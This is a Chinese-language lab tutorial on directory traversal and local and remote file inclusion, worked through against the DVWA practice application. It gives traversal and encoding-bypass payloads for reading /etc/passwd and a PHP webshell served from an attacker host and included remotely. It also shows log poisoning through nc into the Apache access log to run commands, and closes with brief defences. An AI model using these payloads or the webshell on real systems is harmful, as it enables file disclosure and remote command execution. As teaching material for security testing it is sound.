目录
1.目录遍历和文件包含漏洞
- 应用程序操作文件,限制不严时导致访问Web目录以外的文件,包括读写文件和远程执行代码
- 本地文件包含(LFI)
- 远程文件包含(RFI) php.ini 中 allow_url_include = On
1.1特征
特征但不绝对:
-
?page=a.php ?home=b.html ?file=content
1.2 经典测试方法
?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
1.3 绕过字符过滤
有时候web应用会在尾部添加 “.php”,例如找不到 /etc/passwd.php 文件
1、“.” “%00” #绕过文件扩展名过滤,%00是null的编码,代表后面不再读取
?file=a.doc%00.php
2、使用多种编码尝试
3、url 编码或者进行双层甚至三层 url 编码
%2e%2e%2f 解码 ../
%2e%2e%5c 解码 ..\
%252e%252e%255c 解码 ..\
4、Unicode/UTF-8 解码
..%c0%af 解码 ../
..%u2216
..%c1%9c 解码 ..\
5、其他系统路径可能使用的字符
file.txt…
file.txt
file.txt””””
file.txt<<<>>><
./././file.txt
nonexistant/../file.txt
6、UNC路径
\1.1.1.1\path\to\file.txt
1.4 cookie 注入目录遍历
-
代码
-
攻击
-
结果
2.利用DVWA进行漏洞测试
2.1low级别
源代码
<?php
$file = $_GET['page']; //The page we wish to display
?>
1、可以使用 “?page=../../../../../../../etc/passwd”
2、可以使用绝对路径“?page=/etc/passwd”
3、使用系统文件路径“?page=file:///etc/passwd” (只支持绝对路径)
4、远程目录遍历 “?page=http://www.sina.com”
5、 使用burpsuite进行自动化扫描
2.2medium级别
源代码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
1、过滤了"http://", "https://" ,可以使用二次过滤的方式进行绕过
可以利用此机制,使用两次 http:// ,将第二次插入到 http:// 中间
将 http:// 换成 htthttp://p://
2、过滤了"../", "..\" 相对路径的方式,可以使用绝对路径进绕过
2.3 high级别
源代码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
1、可以在file1.php的上一级目录进行突破
http://10.0.0.35/dvwa/vulnerabilities/fi/?page=file1.php../../../../../../../../../../../../../../etc/passwd
2.4impossible级别
设置白名单的方法,只允许file1.php、file2.php、file3.php和include.php
源代码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
3.利用远程文件包含漏洞代码执行
1、生成简单webshell
root@kali:~# echo '<?php echo shell_exec($_GET['cmd']);?>' > /var/www/html/1.txt
root@kali:~# cat /var/www/html/1.txt
<?php echo shell_exec($_GET['cmd']);?>
root@kali:~# /etc/init.d/apache2 start
[ ok ] Starting apache2 (via systemctl): apache2.service.
2、http://192.168.71.133/dvwa/vulnerabilities/fi/?page=http://192.168.71.131/1.txt&cmd=pwd 多个变量用&隔开
4. 权限配置不当引起的本地文件包含漏洞
-
修改 dvwa 的 access.log 权限,使其错误配置系统权限
root@metasploitable:/var/log/apache2# chmod a+rx access.log root@metasploitable:/var/log# chmod a+rx apache2 root@metasploitable:/var# chmod a+rx log root@metasploitable:/# chmod a+rx var
-
使用 nc 插入代码
root@kali:~/Desktop# nc -nv 192.168.71.133 80 (UNKNOWN) [10.10.10.132] 80 (http) open <?php echo shell_exec($_GET['cmd']);?>
-
查看access日志
-
浏览器测试
http://192.168.71.133/dvwa/vulnerabilities/fi/?page=/var/log/apache2/access.log&cmd=id
5.总结
《web应用安全指南》page 197
目录遍历漏洞防御措施:
- 避免由外界指定文件名
- 文件名中不可以包含目录
- 限定文件名中仅包含字母与数字
- 指定可以访问的白名单